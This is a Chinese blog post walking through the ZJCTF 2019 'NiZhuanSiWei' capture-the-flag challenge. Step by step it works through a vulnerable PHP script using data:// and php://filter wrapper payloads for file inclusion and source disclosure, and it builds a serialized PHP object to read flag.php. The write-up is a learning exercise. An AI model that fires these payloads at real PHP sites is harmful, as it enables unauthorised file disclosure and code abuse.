[ZJCTF 2019]NiZhuanSiWei
这题主要考察的是php伪协议与文件包含
第一层
打开之后得到一段代码
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
第一层为if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
文件包含,并且text文件里面要传入welcome to the zjctf
可以将文件内容通过data伪协议写进去,然后让file_get_contents()函数进行读取,payload如下
/?text=data://text/plain,welcome to the zjctf
得到回显

成功绕过第一层
第二层
重点代码如下
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
正则过滤掉flag,而题目又提示了useless.php,所以用php://filter协议来读取useless.php,payload如下:
/?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
得到useless.php的内容,不过是用base64加密后的

第三层
base64解密之后,得到
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
结合之前题目的代码,序列化一下
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password=new Flag();
echo serialize($password);
?>
运行一下,得到
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
于是最后一层payload就出来了
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看源码就得到了flag
另外,想补充一下有关伪协议与文件包含的知识
感觉这篇文章就不错伪协议与文件包含
本文来自博客园,作者:Athena-ydy,转载请注明原文链接:https://www.cnblogs.com/Athena-ydy/p/15471584.html

浙公网安备 33010602011771号